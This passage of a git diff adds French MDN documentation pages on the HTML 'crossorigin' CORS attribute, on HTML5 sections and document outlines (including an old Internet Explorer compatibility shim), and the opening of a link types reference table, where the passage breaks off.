+---
+title: Attributs de réglage du CORS
+slug: Web/HTML/Reglages_des_attributs_CORS
+tags:
+  - Avancé
+  - CORS
+  - HTML
+  - Reference
+translation_of: Web/HTML/Attributes/crossorigin
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>En HTML5, certains des éléments HTML supportant le <a href="/fr/docs/HTTP/Access_control_CORS">CORS</a> (Cross-Origin Resource Sharing) comme les éléments {{HTMLElement("img")}}, {{HTMLElement("video")}} ou {{HTMLElement("script")}}, ont un attribut <code>crossorigin</code> (propriété <code>crossOrigin</code>), qui permet de configurer les requêtes CORS pour les données de l'élément à renvoyer. Ces attributs sont listés ci-après avec les valeurs qu'ils peuvent avoir :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Mot-clé</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>anonymous</code></td>
+   <td>Les requêtes CORS pour cet élément auront le marqueur d'authentification (<em>credentials flag</em>) avec la valeur <code>'same-origin'</code>.</td>
+  </tr>
+  <tr>
+   <td><code>use-credentials</code></td>
+   <td>Les requêtes CORS pour cet élément auront le marqueur d'authentification (<em>credentials flag</em>) avec la valeur <code>'include'</code>.</td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td>Utiliser la chaîne vide (<code>crossorigin=""</code>) ou l'attribut seul (<code>crossorigin</code>) sera équivalent à l'utilisation de la valeur <code>anonymous</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Par défaut (quand l'attribut n'est pas spécifié), le CORS n'est pas du tout utilisé. Le mot-clé <code>anonymous</code> signifie que, lorsqu'il n'y a pas la même origine, il n'y aura ni échange d<strong>'informations d'authentification de l'utilisateur</strong> via des cookies, ni des certificats SSL côté client ou des authentifications HTTP comme détaillé dans la <a href="https://www.w3.org/TR/cors/#user-credentials">section terminologique de la spécification CORS</a>.</p>
+
+<p>Un mot-clé invalide ou une chaîne de caractères vide seront interprétés comme le mot-clé <code>anonymous</code>.</p>
+
+<h3 id="Exemple_utiliser_crossorigin_avec_l'élément_script">Exemple : utiliser <code>crossorigin</code> avec l'élément <code>script</code></h3>
+
+<p>On peut utiliser l'élément {{HTMLElement("script")}} afin d'indiquer au navigateur d'exécuter un script (ici, <code>https://exemple.com/framework-exemple.js</code>) sans envoyer les informations d'authentification de l'utilisateur.</p>
+
+<pre class="brush: html">&lt;script src="https://exemple.com/framework-exemple.js"
+        crossorigin="anonymous"&gt;
+&lt;/script&gt;</pre>
+
+<h3 id="Exemple_utiliser_des_informations_d'authentification_avec_un_manifeste">Exemple : utiliser des informations d'authentification avec un manifeste</h3>
+
+<p>La valeur <code>use-credentials</code> doit être utilisée lorsqu'on récupère un manifeste nécessitant des informations d'authentification, y compris lorsque le fichier provient de la même origine :</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="/app.manifest" crossorigin="use-credentials"&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_du_navigateur">Compatibilité du navigateur</h2>
+
+<h3 id="L'attribut_crossorigin_pour_&lt;script>">L'attribut <code>crossorigin</code> pour <code>&lt;script&gt;</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.script.crossorigin")}}</p>
+
+<h3 id="L'attribut_crossorigin_pour_&lt;video>">L'attribut <code>crossorigin</code> pour <code>&lt;video&gt;</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.video.crossorigin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/CORS">CORS</a></li>
+</ul>
diff --git a/files/fr/web/html/sections_and_outlines_of_an_html5_document/index.html b/files/fr/web/html/sections_and_outlines_of_an_html5_document/index.html
new file mode 100644
index 0000000000..319d98e927
--- /dev/null
+++ b/files/fr/web/html/sections_and_outlines_of_an_html5_document/index.html
@@ -0,0 +1,375 @@
+---
+title: Structures et sections d'un document HTML5
+slug: Web/HTML/Sections_and_Outlines_of_an_HTML5_document
+tags:
+  - Avancé
+  - Exemple
+  - Guide
+  - HTML
+  - HTML5
+  - Section
+  - Structure
+  - Web
+translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines
+---
+<p>Cette page présente la manière dont les navigateurs définissent la structure d'un document à partir de son fichier HTML.</p>
+
+<h2 id="Structure_et_document_outline">Structure et document outline</h2>
+
+<p>Le terme anglais "document outline" ou "document outlines" désigne la structure d'un document générée à partir de ses titres. Cette structure permet de fournir aux usagers une vision simplifiée du document, tel un sommaire ou une table des matières.</p>
+
+<p>Les technologies d'assistances telles que les lecteurs d'écran peuvent proposer à leurs usagers de parcourir le document par ce moyen. Cela leur permet d'avoir rapidement une idée du contenu de la page ou d'aller directement à la section qui les intéresse.</p>
+
+<p>Depuis HTML4, cette structure est générée à partir de la valeur absolue des différents titres. Un <code>&lt;h2&gt;</code> sera considéré comme un niveau hiérarchique plus bas qu'un <code>&lt;h1&gt;</code> et un niveau plus haut qu'un <code>&lt;h3&gt;</code>.</p>
+
+<p>L'algorithme Outline HTML5, proposait quand à lui de générer cette même structure non pas à partir des titres, mais à partir de l'imbrication des <code>&lt;section&gt;</code> entre elles. Cet algorithme n'est à l'heure actuelle implémenté par aucun navigateur ou technologie d'assistance. La partie du document le concernant est donc purement indicative.</p>
+
+<h2 id="Structure_dun_document_depuis_HTML4">Structure d'un document depuis HTML4</h2>
+
+<p>La structure d'un document, à savoir la structure sémantique de ce qui est entre <code>&lt;body&gt;</code> et <code>&lt;/body&gt;</code>, est fondamentale pour la présentation de la page à l'utilisateur. HTML4 utilise la notion de sections et sous-sections d'un document pour décrire sa structure. Une section est définie par un élément de division HTML ({{HTMLElement ("div")}}) contenant des éléments de titre ({{HTMLElement ("h1")}}, {{HTMLElement ("h2")}}, {{ HTMLElement ("h3")}}, {{HTMLElement ("h4")}}, {{HTMLElement ("h5")}} ou {{HTMLElement ("h6")}}), définissant son titre. Les relations entre ces éléments HTML et la division HTML conduit à la structure du document et son schéma.</p>
+
+<p>Ainsi, le code suivant :</p>
+
+<pre class="brush: html"><code class="brush: html">
+&lt;div class="section" id="foret-elephants"&gt;
+  &lt;h1&gt;Les éléphants de forêt&lt;/h1&gt;
+  &lt;p&gt;Dans cet article, nous discutons des éléphants de forêt moins connus.
+     … cette section continue…
+  &lt;div class="subsection" id="foret-habitat"&gt;
+    &lt;h2&gt;Habitat&lt;/h2&gt;
+    &lt;p&gt;Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.
+       … ce paragraphe continue…
+  &lt;/div&gt;
+&lt;/div&gt;</code></pre>
+
+<p>conduit au schéma suivant :</p>
+
+<pre>1. Les éléphants de forêt
+  1.1 Habitat
+</pre>
+
+<p>Les éléments {{HTMLElement ("div")}} ne sont pas obligatoires pour définir une nouvelle section. La simple présence d'un élément de titre est suffisante pour impliquer une nouvelle section. Par conséquent :</p>
+
+<pre class="brush: html">&lt;h1&gt;Les éléphants de forêt&lt;/h1&gt;
+  &lt;p&gt;Dans cette section, nous discutons des éléphants de forêt moins connus.
+    … cette section continue…
+
+  &lt;h2&gt;Habitat&lt;/h2&gt;
+  &lt;p&gt;Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.
+    … ce paragraphe continue…
+
+  &lt;h2&gt;Régime&lt;/h2&gt;
+
+&lt;h1&gt;Gerbilles de Mongolie&lt;/h1&gt;
+</pre>
+
+<p>conduit au schéma suivant :</p>
+
+<pre>1. Les éléphants de forêt
+  1.1 Habitat
+  1.2 Régime
+2. Gerbilles de Mongolie</pre>
+
+<h2 id="Problèmes_résolus_par_HTML5">Problèmes résolus par HTML5</h2>
+
+<p>Le code HTML4 définit la structure d'un document, cependant son algorithme schématique implicite est très strict et conduit à de nombreux problèmes :</p>
+
+<ol>
+ <li>L'utilisation de {{HTMLElement ("div")}} pour définir les sections sémantiques, sans définir de valeurs spécifiques pour l'attribut <code>class</code>, rend impossible l'automatisation de l'algorithme (« {{HTMLElement ("div")}} fait-il partie de l'aperçu de la page ? Définit-il une section ou un paragraphe ? » ou « Ce {{HTMLElement ("div")}} est-il là uniquement pour le style ? »). En d'autres termes, la spécification HTML4 est très imprécise sur ce qui est une section et quel est son champ d'application. La génération automatique du schéma est importante, surtout pour les <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology">technologies d'assistance (en)</a> qui sont susceptibles d'adapter leur façon de présenter l'information aux utilisateurs en fonction de la structure du document. HTML5 supprime la nécessité d'éléments {{HTMLElement ("div")}} dans l'algorithme par l'introduction d'un nouvel élément, {{HTMLElement ("section")}}, l'élément HTML Section.</li>
+ <li>La fusion de plusieurs documents est compliquée : l'inclusion d'un sous-document dans un document principal conduit à modifier le niveau des éléments de titres HTML afin de conserver le plan du document. Ce problème est résolu dans HTML5, les éléments de section nouvellement introduits ({{HTMLElement ("article")}}, {{HTMLElement ("section")}}, {{HTMLElement ("nav")}} et {{HTMLElement ("aside")}}) sont toujours sous-sections de la plus proche section ascendante, indépendamment des sections créées par les en-têtes internes.</li>
+ <li>En HTML4, chaque section fait partie de la structure du document. Mais les documents ne sont pas souvent linéaires. Un document peut avoir des sections spéciales contenant des informations qui n'en font pas partie, même si elles sont liées au flux principal, comme un bloc de publicité ou une boîte explication. HTML5 introduit l'élément {{HTMLElement ("aside")}} permettant à ces sections de ne pas faire partie du plan principal.</li>
+ <li>Encore une fois, en HTML4, parce que chaque section fait partie de la structure du document, il n'est pas possible d'avoir des sections contenant des informations relatives non pas au document mais au site tout entier, comme des logos, des menus, une table des matières, ou des mentions légales. À cet effet, HTML5 introduit trois éléments de section spécifiques : {{HTMLElement ("nav")}} pour des collections de liens, comme une table des matières, {{HTMLElement ("footer")}} et {{HTMLElement ("header")}} pour les informations relatives au site.</li>
+</ol>
+
+<p>Plus généralement HTML5 apporte la précision des caractéristiques de sectionnement et de position, permettant aux contours de documents à être prévisibles et utilisés par le navigateur afin d'améliorer l'expérience utilisateur.</p>
+
+<h2 id="Lalgorithme_Outline_HTML5">L'algorithme Outline HTML5</h2>
+
+<div class="warning">
+<p><strong>Important </strong>: Aucune implémentation de cet algorithme Outline HTML5 n'existe ni dans les navigateurs web ni dans les technologies d'assistance. Elle n'a jamais fait partie de la spécification finale W3C. L'algorithme <a href="https://www.w3.org/TR/html5/sections.html#outline">Outline</a> <em>ne devrait donc pas être utilisé</em> pour transmettre la structure d'un document aux utilisateurs. Il est recommandé aux auteurs d'utiliser le <a href="https://www.w3.org/TR/html5/sections.html#rank">rang</a> des titres (<code><a href="https://www.w3.org/TR/html5/sections.html#the-h1-h2-h3-h4-h5-and-h6-elements">h1</a></code>-<code><a href="https://www.w3.org/TR/html5/sections.html#the-h1-h2-h3-h4-h5-and-h6-elements">h6</a></code>) pour transmettre la structure d'un document.</p>
+</div>
+
+<p>Cet algorithme propose de générer la structure du document à partir de l'imbrication des sections entre elles.</p>
+
+<h3 id="Définir_des_sections_en_HTML5">Définir des sections en HTML5</h3>
+
+<p>Tout le contenu se trouvant à l'intérieur de l'élément {{HTMLElement ("body")}} est une partie d'une section. Les articles en HTML5 peuvent être imbriqués. À côté de la section principale, définie par l'élément {{HTMLElement ("body")}}, les limites de la section sont définies explicitement ou implicitement. Sections explicitement définies sont le contenu dans {{HTMLElement ("body")}}, {{HTMLElement ("section")}}, {{HTMLElement ("article")}}, {{HTMLElement ("aside")}}, {{HTMLElement ("footer")}}, {{HTMLElement ("header")}} et {{HTMLElement ("nav")}} balises.</p>
+
+<div class="note">
+<p>Remarque : Chaque section peut avoir sa propre hiérarchie rubrique. Par conséquent, même une section imbriquée peut avoir un {{HTMLElement ("h1")}}. Voir <a href="#D.C3.A9finir_les_ent.C3.AAte_en_HTML5" title="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document#Defining_Headings_in_HTML5">Définition des sections en HTML5</a></p>
+</div>
+
+<p>Prenons un exemple - ici nous avons un document avec une section de haut niveau et un pied de page défini. Dans la section de haut niveau, nous avons trois sous-sections, définies par deux éléments {{htmlelement ('section')}} et un élément {{htmlelement ('aside')}} :</p>
+
+<pre class="brush: html">&lt;section&gt;
+
+  &lt;h1&gt;éléphants de forêt&lt;/h1&gt;
+
+  &lt;section&gt;
+    &lt;h1&gt;Introduction&lt;/h1&gt;
+    &lt;p&gt;Dans cette section, nous discutons des éléphants de forêt moins connus.&lt;/p&gt;
+  &lt;/section&gt;
+
+  &lt;section&gt;
+    &lt;h1&gt;Habitat&lt;/h1&gt;
+    &lt;p&gt;Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.&lt;/p&gt;
+  &lt;/section&gt;
+
+  &lt;aside&gt;
+    &lt;p&gt;bloc publicitaire&lt;/p&gt;
+  &lt;/aside&gt;
+
+&lt;/section&gt;
+
+&lt;footer&gt;
+  &lt;p&gt;(c) 2010 La société Exemple&lt;/p&gt;
+&lt;/footer&gt;
+</pre>
+
+<p>Cela conduit à la structure suivante :</p>
+
+<pre>1. Les éléphants de forêt
+  1.1 Introduction
+  1.2 Habitat
+  1.3 Section (aside)</pre>
+
+<h3 id="Définition_des_en-têtes_en_HTML5">Définition des en-têtes en HTML5</h3>
+
+<p>Bien que les éléments de sectionnement HTML définissent la structure du document, un plan a également besoin de titres pour être utile. La règle de base est simple : le premier élément de titre HTML (l'un des {{HTMLElement ("h1")}}, {{HTMLElement ("h2")}}, {{HTMLElement ("h3")}}, {{HTMLElement ("h4")}}, {{HTMLElement ("h5")}}, {{HTMLElement ("h6")}}) définit le titre de la section courante.</p>
+
+<p>Les éléments de titre ont un <em>rang</em> donné par le nombre dans le nom de l'élément, où {{HTMLElement ("h1")}} a le rang <em> le plus élevé</em> et {{HTMLElement ("h6")}} a le rang <em>le plus bas</em>. Le classement relatif ne compte que dans une section ; la structure des sections détermine le plan, et non pas le rang des titres de sections. Par exemple, ce code :</p>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h1&gt;éléphants de forêt&lt;/h1&gt;
+
+  &lt;p&gt;Dans cette section, nous discutons des éléphants de forêt moins connus.
+     Cette section continue…&lt;/p&gt;
+
+  &lt;section&gt;
+    &lt;h2&gt;Habitat&lt;/h2&gt;
+
+    &lt;p&gt;Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.
+       Ce paragraphe continue…&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/section&gt;
+
+&lt;section&gt;
+  &lt;h3&gt;Gerbilles de Mongolie&lt;/h3&gt;
+
+  &lt;p&gt;Dans cet article, nous discutons des célèbres gerbilles mongoles.
+     Cette section continue…
+&lt;/section&gt;</pre>
+
+<p>conduit à la structure suivante :</p>
+
+<pre>1. Les éléphants de forêt
+  1.1 Habitat
+2. Gerbilles de Mongolie</pre>
+
+<p>Notez que le rang de l'élément titre (dans l'exemple {{HTMLElement ("h1")}} pour la première section de niveau supérieur, {{HTMLElement ("h2")}} pour la sous-section et {{HTMLElement ("h3")}} pour la seconde section de haut niveau) n'est pas important. Tout rang peut être utilisé comme en-tête d'une section explicitement définie, bien que cette pratique ne soit pas recommandée.</p>
+
+<h3 id="Découpage_implicite">Découpage implicite</h3>
+
+<p>Parce que les éléments de sectionnement HTML5 ne sont pas obligatoires pour définir la structure, pour conserver la compatibilité avec le Web existant dominé par HTML4, il existe un moyen de définir des sections sans eux. C'est ce qu'on appelle le <em>découpage implicite</em>.</p>
+
+<p>Les éléments de titre HTML ({{HTMLElement ("h1")}} à {{HTMLElement ("h6")}}) définissent une nouvelle section, implicite, quand ils ne sont pas le premier en-tête de leurs sections ascendantes, explicites. La façon dont cette section implicite est positionnée dans la structure est définie par son rang par rapport au titre précédent dans leur section ascendante. Si elle est d'un rang inférieur à l'en-tête précédent, il ouvre une sous-section implicite de la section. Ce code :</p>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h1&gt;éléphants de forêt&lt;/h1&gt;
+
+  &lt;p&gt;Dans cette section, nous discutons des éléphants de forêt moins connus.
+     Cette section continue…
+
+  &lt;h3 class="implicit subsection"&gt;Habitat&lt;/h3&gt;
+
+  &lt;p&gt;Les éléphants de forêt &lt;p&gt; ne vivent pas dans les arbres mais parmi eux.
+     Ce paragraphe continue…
+&lt;/section&gt;</pre>
+
+<p>conduit à la structure suivante :</p>
+
+<pre>1. Les éléphants de forêt
+  1.1 Habitat <em>(implicitement défini par l'élément h3)</em></pre>
+
+<p>Si elle est de même rang que le titre précédent, elle ferme la section précédente (qui peut avoir été explicite !) et en ouvre une nouvelle implicite de même niveau :</p>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h1&gt;Éléphants de forêt&lt;/h1&gt;
+
+  &lt;p&gt;Dans cette section, nous discutons des éléphants de forêt moins connus.
+     Cette section continue…
+
+  &lt;h1 class="implicit section"&gt;Gerbilles de Mongolie&lt;/h1&gt;
+
+  &lt;p&gt;Les gerbilles de Mongolie sont mignons petits mammifères.
+     Cette section continue…
+&lt;/section&gt;</pre>
+
+<p>conduit à la structure suivante :</p>
+
+<pre>1. Les éléphants de forêt
+2. Gerbilles de Mongolie <em>(implicitement défini par l'élément h1, qui a fermé la section précédente dans le même temps)</em></pre>
+
+<p>Si elle est d'un rang supérieur au titre précédent, elle ferme la section précédente et en ouvre une nouvelle implicite de niveau supérieur :</p>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;h1&gt;Mammifères&lt;/h1&gt;
+
+  &lt;h2&gt;Baleines&lt;/h2&gt;
+
+  &lt;p&gt;Dans cette section, nous discutons de baleines géantes.
+     Cette section continue…
+
+  &lt;section&gt;
+    &lt;h3&gt;Éléphants de forêt&lt;/h3&gt;
+
+    &lt;p&gt;Dans cet article, nous discutons des éléphants de forêt moins connus.
+       Cette section continue…
+
+    &lt;h3&gt;Gerbilles de Mongolie&lt;/h3&gt;
+
+    &lt;p&gt;Hordes de gerbilles ont étalé leur gamme bien au-delà Mongolie.
+       Ce paragraphe continue…
+
+    &lt;h2&gt;Reptiles&lt;/h2&gt;
+
+    &lt;p&gt;Reptiles sont des animaux à sang froid.
+       Ce paragraphe continue…
+  &lt;/section&gt;
+&lt;/body&gt;</pre>
+
+<p>conduit à la structure suivante :</p>
+
+<pre>1. Mammifères
+  1.1 Baleines (défini implicitement par l'élément h2)
+  1.2 éléphants de forêt (défini explicitement par l'élément section)
+  1.3 Gerbilles de Mongolie (défini implicitement par l'élément h3 qui ferme la section précédente en même temps)
+2. Reptiles (défini implicitement par l'élément h2 qui ferme la section précédente en même temps)
+</pre>
+
+<p>Ce n'est pas la structure à laquelle on pourrait s'attendre en jetant un coup d'œil rapide sur le balisage. Pour rendre votre balisage humainement compréhensible, il est bon d'utiliser des balises explicites pour ouvrir et fermer les sections, et de faire correspondre les niveaux des titres avec le niveau d'imbrication désiré de la section. Toutefois, cela n'est pas exigé par la spécification HTML5. Si vous trouvez que les navigateurs rendent de façon inattendue le plan de votre document, vérifiez que vos sections sont implicitement fermées par des éléments d'en-tête.</p>
+
+<p>Une exception à cette règle générale – qui veut que rang du titre devrait correspondre au niveau d'imbrication de la section – concerne les sections qui peuvent être réutilisées dans d'autres documents. Par exemple, une section peut être stockée dans un système de gestion de contenu et assemblée dans des documents au moment de l'exécution. Dans ce cas, une bonne pratique consiste à commencer par {{HTMLElement ("h1")}} pour le titre de niveau supérieur de la section réutilisable. Le niveau d'imbrication de la section réutilisable sera déterminé par la hiérarchie des sections du document dans lequel elle apparaît. Les balises de section explicites sont toujours utiles dans ce cas.</p>
+
+<h3 id="Racines_de_sectionnement">Racines de sectionnement</h3>
+
+<p>Une racine de sectionnement est un élément HTML qui peut avoir son propre plan, mais les sections et les titres qu'elle contient ne contribuent pas à la structure de son ascendant. À côté de {{HTMLElement ("body")}}, qui est la racine logique de sectionnement d'un document, il y a souvent des éléments qui introduisent du contenu externe à la page : {{HTMLElement ("blockquote")}}, {{HTMLElement ("details")}}, {{HTMLElement ("fieldset")}}, {{HTMLElement ("figure")}} et {{HTMLElement ("td")}}.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h1&gt;Éléphants de forêt&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h2&gt;Introduction&lt;/h2&gt;
+    &lt;p&gt;Dans cette section, nous discutons des éléphants de forêt moins connus.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h2&gt;Habitat&lt;/h2&gt;
+    &lt;p&gt;Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux. Regardons ce que les scientifiques disent dans «&amp;nbsp;&lt;cite&gt; l'éléphant de forêt à Bornéo &lt;/cite&gt;&amp;nbsp;»&amp;nbsp;:
+    &lt;blockquote&gt;
+      &lt;h1&gt;Bornéo&lt;/h1&gt;
+      &lt;p&gt;L'éléphant de la forêt vie à Bornéo…&lt;/p&gt;
+    &lt;/blockquote&gt;
+  &lt;/section&gt;
+&lt;/section&gt;
+</pre>
+
+<p>Cet exemple se traduit par la structure suivante :</p>
+
+<pre>1. Les éléphants de forêt
+  1.1 Introduction
+  1.2 Habitat</pre>
+
+<p>Cette structure ne contient pas le plan interne à l'élément {{HTMLElement ("blockquote")}}, qui, étant une citation externe, est une racine de sectionnement et isole sa structure interne.</p>
+
+<h3 id="Les_sections_externes_à_la_structure">Les sections externes à la structure</h3>
+
+<p>HTML5 introduit deux nouveaux éléments qui permettent de définir des sections ne faisant pas partie de la structure principale d'un document Web :</p>
+
+<ol>
+ <li>L'élément HTML de section ({{HTMLElement ("aside")}}) définit une section qui, bien que liée à l'élément principal, ne fait pas partie du flux principal, comme une boîte d'information ou une publicité. Il dispose de son propre plan, mais il n'appartient pas au plan principal.</li>
+ <li>L'élément HTML de section ({{HTMLElement ("nav")}}) définit une section qui contient les liens de navigation. Il peut y en avoir plusieurs dans un document, par exemple, un avec des liens internes à la page, comme une table des matières, et un autre avec des liens de navigations dans le site. Ces liens ne font pas partie du flux principal et du plan, et généralement peut ne pas être initialement rendu par le lecteur d'écran et les technologies d'assistance similaires.</li>
+</ol>
+
+<h3 id="Headers_and_Footers">Headers and Footers</h3>
+
+<p>HTML5 présente également deux nouveaux éléments qui peuvent être utilisés pour marquer l'en-tête et le pied de page d'une section :</p>
+
+<ol>
+ <li>L'élément HTML de titre de section ({{HTMLElement ("header")}}) définit l'en-tête d'une page, contenant généralement le logo et le nom du site et, éventuellement, un menu horizontal. Malgré son nom, il n'est pas nécessairement placé au début de la page.</li>
+ <li>L'élément HTML de pied de section ({{HTMLElement ("footer")}}) définit un pied-de-page, contenant généralement les mentions légales et parfois quelques liens. Malgré son nom, il n'est pas nécessairement placé dans le bas de la page.</li>
+</ol>
+
+<p>Ceux-ci ne créent pas de nouvelles sections dans la structure, mais ils marquent le contenu dans les sections de la page.</p>
+
+<h2 id="Adresses_dans_les_éléments_de_sectionnement">Adresses dans les éléments de sectionnement</h2>
+
+<p>L'auteur d'un document veut souvent publier des informations de contact, le nom de l'auteur tel et son adresse. HTML4 le permet grâce à cet l'élément {{HTMLElement ("address")}}, qui a été prolongé en HTML5.</p>
+
+<p>Un document peut être fait de différentes sections de différents auteurs. Une section d'un autre auteur que celui de la page principale est définie en utilisant l'élément {{HTMLElement ("article")}}. Par conséquent, l'élément {{HTMLElement ("address")}} est désormais lié à son {{HTMLElement ("body")}} ou à l'ancêtre {{HTMLElement ("article")}} le plus proche.</p>
+
+<h2 id="Utilisation_des_éléments_HTML5_dans_les_navigateurs_Non-HTML5">Utilisation des éléments HTML5 dans les navigateurs Non-HTML5</h2>
+
+<p>Les articles et les éléments en-têtes devraient fonctionner dans la plupart des navigateurs non HTML5. Bien que non pris en charge, ils n'ont pas besoin d'une interface spéciale DOM et ils n'ont besoin que d'un style CSS spécifique comme des éléments inconnus sont aménagés comme display: inline par défaut:</p>
+
+<pre class="brush: css"><code class="brush: css">section, article, aside, footer, header, nav, hgroup {
+  display: block;
+}</code></pre>
+
+<p>Bien sûr, le développeur web peut styliser différemment, mais gardez à l'esprit que dans un navigateur non HTML5, le style par défaut est différent de ce qui est attendu de ces éléments. Notez également que le {{HTMLElement ("time")}} élément n'a pas été inclus, car le style par défaut pour elle dans un navigateur non HTML5 est le même que celui de l'une HTML5 compatible.</p>
+
+<p>Cette méthode a ses limites si, comme certains navigateurs ne permettent pas de style des éléments non pris en charge. C'est le cas d'Internet Explorer (version 8 et versions antérieures), qui ont besoin d'un script spécifique pour permettre à celle-ci :</p>
+
+<pre class="brush: html">&lt;!--[if lt IE 9]&gt;;
+  &lt;script&gt;
+    document.createElement("header");
+    document.createElement("footer");
+    document.createElement("section");
+    document.createElement("aside");
+    document.createElement("nav");
+    document.createElement("article");
+    document.createElement("hgroup");
+    document.createElement("time");
+  &lt;/script&gt;
+&lt;![endif]--&gt;</pre>
+
+<p>Ce script signifie que, dans le cas d'Internet Explorer (8 et antérieures), les scripts doivent être activés pour pouvoir afficher HTML5 et les éléments de sectionnement titres correctement. Sinon, ils ne seront pas affichés, ce qui peut être problématique, car ces éléments sont susceptibles de définir la structure de la page entière. C'est pourquoi un élément {{HTMLElement ("NoScript")}} explicite devrait être ajouté pour ce cas :</p>
+
+<pre class="brush: html">&lt;noscript&gt;
+  &lt;p&gt;&lt;strong&gt;Attention, cette page Web nécessite que JavaScript soit activé !&lt;/strong&gt;&lt;/p&gt;
+  &lt;p&gt;JavaScript est un langage de programmation couramment utilisé pour créer des effets intéractifs dans les navigateurs Web.&lt;/p&gt;
+  &lt;p&gt;Malheureusement, il est désactivé dans votre navigateur. Veuillez l'activer pour afficher cette page.&lt;/p&gt;
+  &lt;p&gt;&lt;a href="https://goo.gl/koeeaJ"&gt;Comment activer JavaScript ?&lt;/a&gt;&lt;/p&gt;
+&lt;/noscript&gt;</pre>
+
+<p>Cela conduit au code ci-dessous pour permettre la prise en charge des éléments de sections et d'en-têtes HTML5 dans les navigateurs non HTML5, même pour Internet Explorer (8 et antérieur), avec un retour correct pour le cas où ce dernier est configuré pour ne pas autoriser les scripts :</p>
+
+<pre class="brush: html">&lt;!--[if lt IE 9]&gt;
+  &lt;script&gt;
+    document.createElement("header");
+    document.createElement("footer");
+    document.createElement("section");
+    document.createElement("aside");
+    document.createElement("nav");
+    document.createElement("article");
+    document.createElement("hgroup");
+    document.createElement ("time");
+  &lt;/script&gt;
+&lt;![endif]--&gt;
+  &lt;noscript&gt;
+    &lt;p&gt;&lt;strong&gt;Attention, cette page Web nécessite que JavaScript soit activé !&lt;/strong&gt;&lt;/p&gt;
+    &lt;p&gt;JavaScript est un langage de programmation couramment utilisé pour créer des effets interactifs dans les navigateurs Web.&lt;/p&gt;
+    &lt;p&gt;Malheureusement, il est désactivé dans votre navigateur. Veuillez l'activer pour afficher cette page.&lt;/p&gt;
+    &lt;p&gt;&lt;a href="https://goo.gl/koeeaJ"&gt;Comment activer JavaScript ?&lt;/a&gt;&lt;/p&gt;
+  &lt;/noscript&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p>Cependant, pour des raisons d’accessibilité, un site devrait toujours pouvoir être consultable en l’absence de Javascript.</p>
+</div>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Les nouveaux éléments sémantiques introduits en HTML5 apportent la capacité de décrire la structure et le plan d'un document web d'une manière standard. Ils apportent un grand avantage pour les utilisateurs de navigateurs HTML5 et qui ont besoin de la structure pour les aider à comprendre la page, par exemple, les utilisateurs de technologies d'assistance. Ces nouveaux éléments sémantiques sont simples à utiliser et, avec très peu d'efforts, ils peuvent également être mis en œuvre dans les navigateurs ne prenant pas en charge HTML5. Par conséquent, ils devraient être utilisés sans restriction.</p>
+
+<div>{{HTML5ArticleTOC()}}</div>
diff --git a/files/fr/web/html/types_de_lien/index.html b/files/fr/web/html/types_de_lien/index.html
new file mode 100644
index 0000000000..f8134a8fe7
--- /dev/null
+++ b/files/fr/web/html/types_de_lien/index.html
@@ -0,0 +1,368 @@
+---
+title: Types de lien
+slug: Web/HTML/Types_de_lien
+tags:
+  - HTML
+  - Reference
+  - Types de lien
+  - Web
+translation_of: Web/HTML/Link_types
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>En HTML, les types de lien indiquent la relation entre deux documents, reliés ensemble grâce à un élément {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}} ou {{HTMLElement("link")}}.</p>
+
+<table class="standard-table">
+ <caption>Liste des types de lien HTML et leur signification</caption>
+ <thead>
+  <tr>
+   <th scope="col">Type de lien</th>
+   <th scope="col">Description</th>
+   <th scope="col">Utilisable dans ces éléments</th>
+   <th scope="col">Interdit dans ces éléments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>alternate</code></td>
+   <td>
